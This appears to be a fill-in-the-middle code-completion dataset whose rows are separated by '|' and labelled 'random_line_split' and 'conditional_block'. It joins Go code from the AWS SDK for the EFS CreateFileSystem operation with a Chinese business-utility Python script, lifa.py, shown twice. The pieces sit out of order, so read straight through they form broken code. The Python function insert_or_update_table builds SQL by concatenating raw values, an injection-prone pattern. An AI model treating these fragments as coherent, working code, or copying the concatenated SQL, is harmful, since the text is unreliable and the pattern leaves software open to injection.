// in the Amazon EFS User Guide. Default is false . However, if you specify an
// AvailabilityZoneName , the default is true . Backup is not available in all
// Amazon Web Services Regions where Amazon EFS is available.
Backup *bool
// A Boolean value that, if true, creates an encrypted file system. When creating
// an encrypted file system, you have the option of specifying an existing Key
// Management Service key (KMS key). If you don't specify a KMS key, then the
// default KMS key for Amazon EFS, /aws/elasticfilesystem , is used to protect the
// encrypted file system.
Encrypted *bool
// The ID of the KMS key that you want to use to protect the encrypted file
// system. This parameter is required only if you want to use a non-default KMS
// key. If this parameter is not specified, the default KMS key for Amazon EFS is
// used. You can specify a KMS key ID using the following formats:
// - Key ID - A unique identifier of the key, for example
// 1234abcd-12ab-34cd-56ef-1234567890ab .
// - ARN - An Amazon Resource Name (ARN) for the key, for example
// arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab .
// - Key alias - A previously created display name for a key, for example
// alias/projectKey1 .
// - Key alias ARN - An ARN for a key alias, for example
// arn:aws:kms:us-west-2:444455556666:alias/projectKey1 .
// If you use KmsKeyId , you must set the CreateFileSystemRequest$Encrypted
// parameter to true. EFS accepts only symmetric KMS keys. You cannot use
// asymmetric KMS keys with Amazon EFS file systems.
KmsKeyId *string
// The performance mode of the file system. We recommend generalPurpose
// performance mode for most file systems. File systems using the maxIO
// performance mode can scale to higher levels of aggregate throughput and
// operations per second with a tradeoff of slightly higher latencies for most file
// operations. The performance mode can't be changed after the file system has been
// created. The maxIO mode is not supported on file systems using One Zone storage
// classes.
PerformanceMode types.PerformanceMode
// The throughput, measured in MiB/s, that you want to provision for a file system
// that you're creating. Valid values are 1-1024. Required if ThroughputMode is
// set to provisioned . The upper limit for throughput is 1024 MiB/s. To increase
// this limit, contact Amazon Web Services Support. For more information, see
// Amazon EFS quotas that you can increase (https://docs.aws.amazon.com/efs/latest/ug/limits.html#soft-limits)
// in the Amazon EFS User Guide.
ProvisionedThroughputInMibps *float64
// Use to create one or more tags associated with the file system. Each tag is a
// user-defined key-value pair. Name your file system on creation by including a
// "Key":"Name","Value":"{value}" key-value pair. Each key must be unique. For more
// information, see Tagging Amazon Web Services resources (https://docs.aws.amazon.com/general/latest/gr/aws_tagging.html)
// in the Amazon Web Services General Reference Guide.
Tags []types.Tag
// Specifies the throughput mode for the file system. The mode can be bursting ,
// provisioned , or elastic . If you set ThroughputMode to provisioned , you must
// also set a value for ProvisionedThroughputInMibps . After you create the file
// system, you can decrease your file system's throughput in Provisioned Throughput
// mode or change between the throughput modes, with certain time restrictions. For
// more information, see Specifying throughput with provisioned mode (https://docs.aws.amazon.com/efs/latest/ug/performance.html#provisioned-throughput)
// in the Amazon EFS User Guide. Default is bursting .
ThroughputMode types.ThroughputMode
noSmithyDocumentSerde
}
// A description of the file system.
type CreateFileSystemOutput struct {
// The time that the file system was created, in seconds (since
// 1970-01-01T00:00:00Z).
//
// This member is required.
CreationTime *time.Time
// The opaque string specified in the request.
//
// This member is required.
CreationToken *string
// The ID of the file system, assigned by Amazon EFS.
//
// This member is required.
FileSystemId *string
// The lifecycle phase of the file system.
//
// This member is required.
LifeCycleState types.LifeCycleState
// The current number of mount targets that the file system has. For more
// information, see CreateMountTarget .
//
// This member is required.
NumberOfMountTargets int32
// The Amazon Web Services account that created the file system.
//
// This member is required.
OwnerId *string
// The performance mode of the file system.
//
// This member is required.
PerformanceMode types.PerformanceMode
// The latest known metered size (in bytes) of data stored in the file system, in
// its Value field, and the time at which that size was determined in its Timestamp
// field. The Timestamp value is the integer number of seconds since
// 1970-01-01T00:00:00Z. The SizeInBytes value doesn't represent the size of a
// consistent snapshot of the file system, but it is eventually consistent when
// there are no writes to the file system. That is, SizeInBytes represents actual
// size only if the file system is not modified for a period longer than a couple
// of hours. Otherwise, the value is not the exact size that the file system was at
// any point in time.
//
// This member is required.
SizeInBytes *types.FileSystemSize
// The tags associated with the file system, presented as an array of Tag objects.
//
// This member is required.
Tags []types.Tag
// The unique and consistent identifier of the Availability Zone in which the file
// system's One Zone storage classes exist. For example, use1-az1 is an
// Availability Zone ID for the us-east-1 Amazon Web Services Region, and it has
// the same location in every Amazon Web Services account.
AvailabilityZoneId *string
// Describes the Amazon Web Services Availability Zone in which the file system is
// located, and is valid only for file systems using One Zone storage classes. For
// more information, see Using EFS storage classes (https://docs.aws.amazon.com/efs/latest/ug/storage-classes.html)
// in the Amazon EFS User Guide.
AvailabilityZoneName *string
// A Boolean value that, if true, indicates that the file system is encrypted.
Encrypted *bool
// The Amazon Resource Name (ARN) for the EFS file system, in the format
// arn:aws:elasticfilesystem:region:account-id:file-system/file-system-id .
// Example with sample data:
// arn:aws:elasticfilesystem:us-west-2:1111333322228888:file-system/fs-01234567
FileSystemArn *string
// The ID of an KMS key used to protect the encrypted file system.
KmsKeyId *string
// You can add tags to a file system, including a Name tag. For more information,
// see CreateFileSystem . If the file system has a Name tag, Amazon EFS returns
// the value in this field.
Name *string
// The amount of provisioned throughput, measured in MiB/s, for the file system.
// Valid for file systems using ThroughputMode set to provisioned .
ProvisionedThroughputInMibps *float64
// Displays the file system's throughput mode. For more information, see
// Throughput modes (https://docs.aws.amazon.com/efs/latest/ug/performance.html#throughput-modes)
// in the Amazon EFS User Guide.
ThroughputMode types.ThroughputMode
// Metadata pertaining to the operation's result.
ResultMetadata middleware.Metadata
noSmithyDocumentSerde
}
func (c *Client) addOperationCreateFileSystemMiddlewares(stack *middleware.Stack, options Options) (err error) {
err = stack.Serialize.Add(&awsRestjson1_serializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
err = stack.Deserialize.Add(&awsRestjson1_deserializeOpCreateFileSystem{}, middleware.After)
if err != nil {
return err
}
if err = addlegacyEndpointContextSetter(stack, options); err != nil {
return err
}
if err = addSetLoggerMiddleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddClientRequestIDMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddComputeContentLengthMiddleware(stack); err != nil {
return err
}
if err = addResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = v4.AddComputePayloadSHA256Middleware(stack); err != nil {
return err
}
if err = addRetryMiddlewares(stack, options); err != nil {
return err
}
if err = addHTTPSignerV4Middleware(stack, options); err != nil {
return err
}
if err = awsmiddleware.AddRawResponseToMetadata(stack); err != nil {
return err
}
if err = awsmiddleware.AddRecordResponseTiming(stack); err != nil {
return err
}
if err = addClientUserAgent(stack, options); err != nil {
return err
}
if err = smithyhttp.AddErrorCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = smithyhttp.AddCloseResponseBodyMiddleware(stack); err != nil {
return err
}
if err = addCreateFileSystemResolveEndpointMiddleware(stack, options); err != nil {
return err
}
if err = addIdempotencyToken_opCreateFileSystemMiddleware(stack, options); err != nil {
return err
}
if err = addOpCreateFileSystemValidationMiddleware(stack); err != nil {
return err
}
if err = stack.Initialize.Add(newServiceMetadataMiddleware_opCreateFileSystem(options.Region), middleware.Before); err != nil {
return err
}
if err = awsmiddleware.AddRecursionDetection(stack); err != nil {
return err
}
if err = addRequestIDRetrieverMiddleware(stack); err != nil {
return err
}
if err = addResponseErrorMiddleware(stack); err != nil {
return err
}
if err = addRequestResponseLogging(stack, options); err != nil {
return err
}
if err = addendpointDisableHTTPSMiddleware(stack, options); err != nil {
return err
}
return nil
}
type idempotencyToken_initializeOpCreateFileSystem struct {
tokenProvider IdempotencyTokenProvider
}
func (*idempotencyToken_initializeOpCreateFileSystem) ID() string {
return "OperationIdempotencyTokenAutoFill"
}
func (m *idempotencyToken_initializeOpCreateFileSystem) HandleInitialize(ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler) (
out middleware.InitializeOutput, metadata middleware.Metadata, err error,
) {
if m.tokenProvider == nil {
return next.HandleInitialize(ctx, in)
}
input, ok := in.Parameters.(*CreateFileSystemInput)
if !ok {
return out, metadata, fmt.Errorf("expected middleware input to be of type *CreateFileSystemInput ")
}
if input.CreationToken == nil {
t, err := m.tokenProvider.GetIdempotencyToken()
if err != nil {
return out, metadata, err
}
input.CreationToken = &t
}
return next.HandleInitialize(ctx, in)
}
func addIdempotencyToken_opCreateFileSystemMiddleware(stack *middleware.Stack, cfg Options) error {
return stack.Initialize.Add(&idempotencyToken_initializeOpCreateFileSystem{tokenProvider: cfg.IdempotencyTokenProvider}, middleware.Before)
}
func newServiceMetadataMiddleware_opCreateFileSystem(region string) *awsmiddleware.RegisterServiceMetadata {
return &awsmiddleware.RegisterServiceMetadata{
Region: region,
ServiceID: ServiceID,
SigningName: "elasticfilesystem",
OperationName: "CreateFileSystem",
}
}
type opCreateFileSystemResolveEndpointMiddleware struct {
EndpointResolver EndpointResolverV2
BuiltInResolver builtInParameterResolver
}
func (*opCreateFileSystemResolveEndpointMiddleware) ID() string {
return "ResolveEndpointV2"
}
func (m *opCreateFileSystemResolveEndpointMiddleware) HandleSerialize(ctx context.Context, in middleware.SerializeInput, next middleware.SerializeHandler) (
out middleware.SerializeOutput, metadata middleware.Metadata, err error,
) {
if awsmiddleware.GetRequiresLegacyEndpoints(ctx) {
return next.HandleSerialize(ctx, in)
}
req, ok := in.Request.(*smithyhttp.Request)
if !ok {
return out, metadata, fmt.Errorf("unknown transport type %T", in.Request)
}
if m.EndpointResolver == nil {
return out, metadata, fmt.Errorf("expected endpoint resolver to not be nil")
}
params := EndpointParameters{}
m.BuiltInResolver.ResolveBuiltIns(¶ms)
var resolvedEndpoint smithyendpoints.Endpoint
resolvedEndpoint, err = m.EndpointResolver.ResolveEndpoint(ctx, params)
if err != nil {
return out, metadata, fmt.Errorf("failed to resolve service endpoint, %w", err)
}
req.URL = &resolvedEndpoint.URI
for k := range resolvedEndpoint.Headers {
req.Header.Set(
k,
resolvedEndpoint.Headers.Get(k),
)
}
authSchemes, err := internalauth.GetAuthenticationSchemes(&resolvedEndpoint.Properties)
if err != nil {
var nfe *internalauth.NoAuthenticationSchemesFoundError
if errors.As(err, &nfe) {
// if no auth scheme is found, default to sigv4
signingName := "elasticfilesystem"
signingRegion := m.BuiltInResolver.(*builtInResolver).Region
ctx = awsmiddleware.SetSigningName(ctx, signingName)
ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
}
var ue *internalauth.UnSupportedAuthenticationSchemeSpecifiedError
if errors.As(err, &ue) {
return out, metadata, fmt.Errorf(
"This operation requests signer version(s) %v but the client only supports %v",
ue.UnsupportedSchemes,
internalauth.SupportedSchemes,
)
}
}
for _, authScheme := range authSchemes {
switch authScheme.(type) {
case *internalauth.AuthenticationSchemeV4:
v4Scheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4)
var signingName, signingRegion string
if v4Scheme.SigningName == nil {
signingName = "elasticfilesystem"
} else {
signingName = *v4Scheme.SigningName
}
if v4Scheme.SigningRegion == nil {
signingRegion = m.BuiltInResolver.(*builtInResolver).Region
} else {
signingRegion = *v4Scheme.SigningRegion
}
if v4Scheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it | ctx = awsmiddleware.SetSigningRegion(ctx, signingRegion)
break
case *internalauth.AuthenticationSchemeV4A:
v4aScheme, _ := authScheme.(*internalauth.AuthenticationSchemeV4A)
if v4aScheme.SigningName == nil {
v4aScheme.SigningName = aws.String("elasticfilesystem")
}
if v4aScheme.DisableDoubleEncoding != nil {
// The signer sets an equivalent value at client initialization time.
// Setting this context value will cause the signer to extract it
// and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4aScheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, *v4aScheme.SigningName)
ctx = awsmiddleware.SetSigningRegion(ctx, v4aScheme.SigningRegionSet[0])
break
case *internalauth.AuthenticationSchemeNone:
break
}
}
return next.HandleSerialize(ctx, in)
}
func addCreateFileSystemResolveEndpointMiddleware(stack *middleware.Stack, options Options) error {
return stack.Serialize.Insert(&opCreateFileSystemResolveEndpointMiddleware{
EndpointResolver: options.EndpointResolverV2,
BuiltInResolver: &builtInResolver{
Region: options.Region,
UseDualStack: options.EndpointOptions.UseDualStackEndpoint,
UseFIPS: options.EndpointOptions.UseFIPSEndpoint,
Endpoint: options.BaseEndpoint,
},
}, "ResolveEndpoint", middleware.After)
} | // and override the value set at client initialization time.
ctx = internalauth.SetDisableDoubleEncoding(ctx, *v4Scheme.DisableDoubleEncoding)
}
ctx = awsmiddleware.SetSigningName(ctx, signingName) | random_line_split |
lifa.py | from functools import reduce
from zhdate import ZhDate
import datetime
import openpyxl
import itertools
from django.db import connection
import os
# from admin_app.sys import public_db
from pypinyin import lazy_pinyin
def readxlsx():
filename = r'd:\测试excel1.xlsx'
inwb = openpyxl.load_workbook(filename)
sheetname1 = inwb.get_sheet_names()
ws = inwb[sheetname1[0]]
rang1 = ws['A1':'C2']
return rang1
def dxweek(dt=datetime.date.today()):
if dt.isocalendar()[1] % 2 == 0:
print('大周')
else:
print('小周')
def not_null_response(respcode, **param):
# res_msg = respcode + ' ,%s不可为空'
temp_code = respcode
temp = form_var
# temp = eval(form_var)
for k in param:
if not temp.get(k):
respcode, respmsg = str(temp_code), param.get(k) + '不可为空'
# respinfo = HttpResponse(public.setrespinfo())
return respcode, respmsg
form_var = {
"supply_unit": "联桥科技有限公司",
"rec_unit": "",
"supply_address": "许昌市中原电气谷森尼瑞节能产业园四楼",
"rec_address": "",
"sp_contact": "",
"rec_contact": "",
"supply_phone": "",
"rec_phone": "",
"ERP_no": "",
"express_no": "",
"notice_date": "2021-04-16 14:36:55",
"send_date": "",
"order_detail": [],
"express_req_options": [
{
"key": "HT",
"value": "航天送货单"
},
{
"key": "ZH",
"value": "中慧平台送货单"
},
{
"key": "LQ",
"value": "联桥送货单"
},
{
"key": "ZY",
"value": "专用送货单"
},
{
"key": "QT",
"value": "其他"
}
],
"express_req": "HT",
"special_req": None,
"tab_man": "",
"qa_man": "",
"store_man": ""
}
param_not_null = {
'supply_unit': '发货单位',
'rec_unit': '收货单位',
'supply_address': '发货方地址',
'rec_address': '收货方地址',
'sp_contact': '发货方联系人',
'rec_contact': '收货方联系人',
'supply_phone': '发货方电话',
'rec_phone': '收货方电话',
'ERP_no': 'ERP销货单号',
'express_no': '货运单号',
'notice_date': '通知时间',
'send_date': '发货日期',
'order_detail': '订单明细'
}
# not_null_response(1001, **param_not_null)
# print(readxlsx())
# a = public_db.Get_SeqNo("MEETING_ROOM")
# print(a)
# print(datetime.datetime.strptime('2022-01-07', '%Y-%m-%d').date().isocalendar()[1])
# dxweek(datetime.datetime.strptime('2021-03-15', '%Y-%m-%d').date())
# ws = inwb.get_sheet_by_name(sheetname1[0])
# rows = ws.max_row
# columns = ws.max_column
#
# print(ws.cell(1, 4).value)
# sql = "insert into yw_workflow_shipnotice (supply_unit, rec_unit, supply_address, rec_address, sp_contact, " \
# "rec_contact, supply_phone, rec_phone, ERP_no, express_no, notice_date, send_date, order_detail," \
# " express_req, special_req, tab_man, tran_date, check_state) " \
# "values (%s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s,%s)"
def create_insert_value(sql):
"""根据insert语句创建对应value"""
columns = sql[sql.index('(') + 1:sql.index(')')].replace(' ', '')
columns_list = columns.split(',')
sql_value = []
for column in columns_list:
temp_str = "form_var.get('%s')" % column
sql_value.append(temp_str)
sql_value = str(tuple(sql_value)).replace('"', '')
return sql_value
sql = "insert into yw_workflow_chk_price (tab_no, tran_date, customer, prod_name, prod_type, prod_unit, " \
"prod_count, remark_bom, amount_bom, remark_scfl, amount_scfl, remark_rgcb, amount_rgcb, " \
"remark_utility, amount_utility, remark_depre, amount_depre, remark_loss, amount_loss, remark_manage, " \
"amount_manage, remark_trans, amount_trans, remark_profit, amount_profit, remark_tax, amount_tax, " \
"remark_market_price, market_price, remark_suggest_price, suggest_price, remark_confirm_price, " \
"confirm_price, tab_man,check_state) values ()"
# print(create_insert_value(sql))
var_str = {
"tab_no": "",
"tran_date": "2021-04-17 13:08:08",
"prod_name": "",
"prod_type": "",
"prod_unit": "",
"prod_count": "",
"remark_bom": "",
"amount_bom": "",
"remark_scfl": "/",
"amount_scfl": "",
"remark_rgcb": "工资",
"amount_rgcb": "",
"remark_utility": "0.6%*(材料成本+人工成本)",
"amount_utility": "",
"remark_depre": "0.9%*(材料成本+人工成本)",
"amount_depre": "",
"remark_loss": "2%*(材料成本+人工成本)",
"amount_loss": "",
"remark_manage": "1%*(材料成本+人工成本)",
"amount_manage": "",
"remark_trans": "/",
"amount_trans": "",
"remark_profit": "(BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输)*10%",
"amount_profit": "",
"remark_tax": "(人工成本+制造成本+管理费+运输+利润)*13%",
"amount_tax": "",
"remark_market_price": "",
"market_price": "",
"remark_suggest_price": "BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输+税费+利润",
"suggest_price": "",
"remark_confirm_price": "/",
"confirm_price": "",
"tab_man": "",
"confirm_man": "",
"check_man": ""
}
# list_param = ["`id` int(11) NOT NULL"]
# c_sql = "create table yw_workflow_chk_price "
#
# for param in var_str:
# list_param.append(param + " varchar(255) NULL")
# c_sql += str(tuple(list_param))
# c_sql = c_sql.replace("'", '')
# print(c_sql)
digts = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}
def char2num(c):
return digts.get(c)
def str2num(s):
"""字符串转数字"""
return reduce(lambda x, y: x * 10 + y, map(char2num, s))
def is_num(s):
digts['.'] = '.'
if isinstance(s, str):
for i in s:
if i in digts:
pass
else:
return False
return True
elif isinstance(s, int) or isinstance(s, float):
return True
else:
return False
def test1():
l1 = [('a', 1), ('a', 2), ('a', 3), ('b', 10), ('b', 11), ('a', 4), ('d', 0xFF)]
ln = [x for x in l1 if x[0] == 'a']
lm = filter(lambda x: x[0] == 'a', l1)
# print(list(lm))
l1.sort(key=lambda x: x[0])
|
# # for i in v:
# # sum_value += i[1]
# sum_value = sum(x[1] for x in v)
# lc[k] = sum_value
print(lc)
s = {}
for k, v in itertools.groupby(l1, lambda x: x[0]):
s[k] = sum(x[1] for x in v)
print(s)
class nation():
def __init__(self, key1, value1):
self.key = key1
self.value = value1
def desc(self):
return r"'key': '" + self.key + r"', 'value': '" + self.value + "'"
def test2():
l1 = list(range(1, 10))
tot = reduce(lambda x, y: x * y, l1)
print(tot)
l2 = map(lambda m: m ** 2, l1)
print(list(l2))
han = nation('01', '汉族')
print(han.__dict__)
print(han.desc())
def test3():
file_path = r"C:\Users\user\Documents\a.json"
lx = []
with(open(file_path, encoding='utf-8')) as f:
for line in f:
# temp_row = 'key:'+line[:line.index(',')]
mz = nation(line[:line.index(',')], line[line.index(',') + 1:-1])
lx.append(mz.__dict__)
print(lx)
def auto_generate_sql(input):
temp_input = input[input.index('(') + 1:input.index(')')].replace(' ', '')
list_param = temp_input.split(',')
temp_input = ''
ln = []
if list_param:
for item in list_param:
form_value = r"form_var.get('%s')" % item
ln.append(str(form_value))
return str(tuple(ln)).replace('"', '')
sql = "insert into sys_staff_info (job_number, staff_name, name_spell, id_number, personal_phone, " \
"company_phone, attend_number, gender, nation, birthday, address, hometown, degree, graduate_school, " \
"graduate_date, major, politic_face, height, weight, health_state, marital_status, exp_salary, postbox, " \
"emergency_contact, relationship, emergency_contact_phone, entry_date, work_state, less_id)" \
"values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)"
# print(auto_generate_sql(sql))
rows = [(1, 2), (3, 4), (5, 6)]
columns_list = map(lambda x: x[0], rows)
print(list(columns_list))
def insert_or_update_table(cur, tablename, **param):
"""根据表名更新或插入数据"""
if not tablename:
return None
try:
# cur = connection.cursor()
# 根据表名查询字段和注释
sql = "SELECT COLUMN_NAME,column_comment FROM INFORMATION_SCHEMA.Columns WHERE table_name= %s AND " \
"table_schema= %s "
sql_value = (tablename, 'lqkj_db')
cur.execute(sql, sql_value)
rows = cur.fetchall()
if not rows:
return None
columns = map(lambda x: x[0], rows)
if isinstance(param, dict):
rp = set(param.keys()) & set(columns)
# 根据id判断更新还是插入
if 'id' in rp:
sql = "select 1 from %s where id = %s"
cur.execute(sql, (tablename, param.get('id')))
row = cur.fetchone()
if row:
# update
sql = "update " + tablename + " set "
for k in rp:
sql += k + '='
sql += param.get(k)
sql += "where id=" + param.get('id')
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
else:
# insert
sql = "insert into " + tablename
sql += ' ' + str(list(rp))
sql += ' values ' + str(tuple(map(lambda x: param.get(x), list(rp))))
# excute
# return cur.execute(sql)
cur.close()
return sql
except Exception as ex:
return ex.__str__()
dc = {'row1': 'v1', 'row5': 'v3', 'row3': 'v5'}
lc = ['row2', 'row3', 'row5']
p = set(dc.keys()) & set(lc)
if 'row1' in p:
print(True)
else:
print(False)
test_var = {
"absence_apply_table": None,
"user_name": "吴晓萌",
"org_options": [
{
"key": "XT",
"value": "XT-系统部"
}
],
"department": "XT",
"position_name": "default",
"position_no": "",
"position_number": 999,
"onduty_number": 0,
"min_salary": "0",
"celling_wage": "99999",
"position_duty": "默认岗位,请尽快调整到对应岗位",
"tran_date": "2021-04-26 09:12:31",
"order_number": None,
"status_options": [
{
"key": "0",
"value": "0-申请中"
},
{
"key": "1",
"value": "1-申请成功"
},
{
"key": "2",
"value": "2-申请失败"
},
{
"key": "3",
"value": "3-已归还"
}
],
"apply_status": "0",
"apply_state_options": [
{
"key": "0",
"value": "0-发起申请"
},
{
"key": "1",
"value": "1-审核通过"
},
{
"key": "2",
"value": "2-审核未通过"
},
{
"key": "3",
"value": "3-审批完结"
},
{
"key": "5",
"value": "5-等待审批"
}
],
"approve_status": "0",
"id": None,
"category_options": [
{
"key": 1,
"value": "1-事假"
},
{
"key": 2,
"value": "2-调休"
},
{
"key": 3,
"value": "3-产假"
},
{
"key": 4,
"value": "4-陪产假"
},
{
"key": 5,
"value": "5-婚假"
},
{
"key": 6,
"value": "6-丧假"
}
],
"category": "",
"start_date": "",
"days": "",
"agent_name": "",
"end_date": "",
"reason": "",
"remark": "",
"status": "0",
"apply_state": "0",
"user_id": ""
}
# temp_var = {k: (v if v else '') for k, v in test_var.items()}
# for k, v in temp_var.items():
# print(k, v)
def rowlist2dict(ln):
tempset = {}
for k, *v in ln:
tempset[k] = v
return tempset
def test_row2dict():
ln = [('user1', 'name1', 'age1'), ('user2', 'name2', 'age2'), ('user3', None, 'age3')]
for k, v in rowlist2dict(ln).items():
print(k, v)
ln = [('user1', 'name1'), ('user2', 'name2'), ('user3', None)]
t = {k: v for k, v in ln}
tit = ['user', 'name']
lt = [{'user': k, 'name': v} for k, v in ln]
col = {'user1': 'varchar', 'age1': 'int', 'user2': 'float', 'user3': 'double'}
print(col.__doc__)
dict_list = []
for cn, cs in ln:
tempdct = {'class_name': cn, 'class_spell': cs}
dict_list.append(tempdct)
print(dict_list)
seclit = [
{
"class_name": "11",
"class_spell": "122"
},
{
"class_name": "22",
"class_spell": "33"
}
]
for item in seclit:
cn = item.get('class_name')
cs = item.get('class_spell')
print(cn, cs)
s = 'BD_SE_TD'
if 'd' in s:
print(True)
s += '_' * 2
ts = s.split('_')
company, seclass, trdclss, *_ = ts
print(company, seclass, trdclss, _)
column_dct = [{k: v} for k, v in rows]
print([x.keys() for x in column_dct])
| c = itertools.groupby(l1, lambda x: x[0])
lc = {}
for k, v in c:
print(list(v)[0])
# # sum_value = 0 | conditional_block |
lifa.py | from functools import reduce
from zhdate import ZhDate
import datetime
import openpyxl
import itertools
from django.db import connection
import os
# from admin_app.sys import public_db
from pypinyin import lazy_pinyin
def readxlsx():
filename = r'd:\测试excel1.xlsx'
inwb = openpyxl.load_workbook(filename)
sheetname1 = inwb.get_sheet_names()
ws = inwb[sheetname1[0]]
rang1 = ws['A1':'C2']
return rang1
def dxweek(dt=datetime.date.today()):
if dt.isocalendar()[1] % 2 == 0:
print('大周')
else:
print('小周')
def not_null_response(respcode, **param):
# res_msg = respcode + ' ,%s不可为空'
temp_code = respcode
temp = form_var
# temp = eval(form_var)
for k in param:
if not temp.get(k):
respcode, respmsg = str(temp_code), param.get(k) + '不可为空'
# respinfo = HttpResponse(public.setrespinfo())
return respcode, respmsg
form_var = {
"supply_unit": "联桥科技有限公司",
"rec_unit": "",
"supply_address": "许昌市中原电气谷森尼瑞节能产业园四楼",
"rec_address": "",
"sp_contact": "",
"rec_contact": "",
"supply_phone": "",
"rec_phone": "",
"ERP_no": "",
"express_no": "",
"notice_date": "2021-04-16 14:36:55",
"send_date": "",
"order_detail": [],
"express_req_options": [
{
"key": "HT",
"value": "航天送货单"
},
{
"key": "ZH",
"value": "中慧平台送货单"
},
{
"key": "LQ",
"value": "联桥送货单"
},
{
"key": "ZY",
"value": "专用送货单"
},
{
"key": "QT",
"value": "其他"
}
],
"express_req": "HT",
"special_req": None,
"tab_man": "",
"qa_man": "",
"store_man": ""
}
param_not_null = {
'supply_unit': '发货单位',
'rec_unit': '收货单位',
'supply_address': '发货方地址',
'rec_address': '收货方地址',
'sp_contact': '发货方联系人',
'rec_contact': '收货方联系人',
'supply_phone': '发货方电话',
'rec_phone': '收货方电话',
'ERP_no': 'ERP销货单号',
'express_no': '货运单号',
'notice_date': '通知时间',
'send_date': '发货日期',
'order_detail': '订单明细'
}
# not_null_response(1001, **param_not_null)
# print(readxlsx())
# a = public_db.Get_SeqNo("MEETING_ROOM")
# print(a)
# print(datetime.datetime.strptime('2022-01-07', '%Y-%m-%d').date().isocalendar()[1])
# dxweek(datetime.datetime.strptime('2021-03-15', '%Y-%m-%d').date())
# ws = inwb.get_sheet_by_name(sheetname1[0])
# rows = ws.max_row
# columns = ws.max_column
#
# print(ws.cell(1, 4).value)
# sql = "insert into yw_workflow_shipnotice (supply_unit, rec_unit, supply_address, rec_address, sp_contact, " \
# "rec_contact, supply_phone, rec_phone, ERP_no, express_no, notice_date, send_date, order_detail," \
# " express_req, special_req, tab_man, tran_date, check_state) " \
# "values (%s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s, %s,%s, %s, %s, %s,%s)"
def create_insert_value(sql):
"""根据insert语句创建对应value"""
columns = sql[sql.index('(') + 1:sql.index(')')].replace(' ', '')
columns_list = columns.split(',')
sql_value = []
for column in columns_list:
temp_str = "form_var.get('%s')" % column
sql_value.append(temp_str)
sql_value = str(tuple(sql_value)).replace('"', '')
return sql_value
sql = "insert into yw_workflow_chk_price (tab_no, tran_date, customer, prod_name, prod_type, prod_unit, " \
"prod_count, remark_bom, amount_bom, remark_scfl, amount_scfl, remark_rgcb, amount_rgcb, " \
"remark_utility, amount_utility, remark_depre, amount_depre, remark_loss, amount_loss, remark_manage, " \
"amount_manage, remark_trans, amount_trans, remark_profit, amount_profit, remark_tax, amount_tax, " \
"remark_market_price, market_price, remark_suggest_price, suggest_price, remark_confirm_price, " \
"confirm_price, tab_man,check_state) values ()"
# print(create_insert_value(sql))
var_str = {
"tab_no": "",
"tran_date": "2021-04-17 13:08:08",
"prod_name": "",
"prod_type": "",
"prod_unit": "",
"prod_count": "",
"remark_bom": "",
"amount_bom": "",
"remark_scfl": "/",
"amount_scfl": "",
"remark_rgcb": "工资",
"amount_rgcb": "",
"remark_utility": "0.6%*(材料成本+人工成本)",
"amount_utility": "",
"remark_depre": "0.9%*(材料成本+人工成本)",
"amount_depre": "",
"remark_loss": "2%*(材料成本+人工成本)",
"amount_loss": "",
"remark_manage": "1%*(材料成本+人工成本)",
"amount_manage": "",
"remark_trans": "/",
"amount_trans": "",
"remark_profit": "(BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输)*10%",
"amount_profit": "",
"remark_tax": "(人工成本+制造成本+管理费+运输+利润)*13%",
"amount_tax": "",
"remark_market_price": "",
"market_price": "",
"remark_suggest_price": "BOM材料成本+生产辅材+人工成本+水电+折旧+损耗+管理+运输+税费+利润",
"suggest_price": "",
"remark_confirm_price": "/",
"confirm_price": "",
"tab_man": "",
"confirm_man": "",
"check_man": ""
}
# list_param = ["`id` int(11) NOT NULL"]
# c_sql = "create table yw_workflow_chk_price "
#
# for param in var_str:
# list_param.append(param + " varchar(255) NULL")
# c_sql += str(tuple(list_param))
# c_sql = c_sql.replace("'", '')
# print(c_sql)
digts = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}
def char2num(c):
return digts.get(c)
def str2num(s):
"""字符串转数字"""
return reduce(lambda x, y: x * 10 + y, map(char2num, s))
def is_num(s):
digts['.'] = '.'
if isinstance(s, str):
for i in s:
if i in digts:
pass
else:
return False
return True
elif isinstance(s, int) or isinstance(s, float):
return True
else:
return False
def test1():
l1 = [('a', 1), ('a', 2), ('a', 3), ('b', 10), ('b', 11), ('a', 4), ('d', 0xFF)]
ln = [x for x in l1 if x[0] == 'a']
lm = filter(lambda x: x[0] == 'a', l1)
# print(list(lm))
l1.sort(key=lambda x: x[0])
c = itertools.groupby(l1, lambda x: x[0])
lc = {}
for k, v in c:
print(list(v)[0])
# # sum_value = 0
# # for i in v:
# # sum_value += i[1]
# sum_value = sum(x[1] for x in v)
# lc[k] = sum_value
print(lc)
s = {}
for k, v in itertools.groupby(l1, lambda x: x[0]):
s[k] = sum(x[1] for x in v)
print(s)
class nation():
def __init__(self, key1, value1):
self.key = key1
self.value = value1
def desc(self):
return r"'key': '" + self.key + r"', 'value': '" + self.value + "'"
def test2():
l1 = list(range(1, 10))
tot = reduce(lambda x, y: x * y, l1)
print(tot)
l2 = map(lambda m: m ** 2, l1)
print(list(l2))
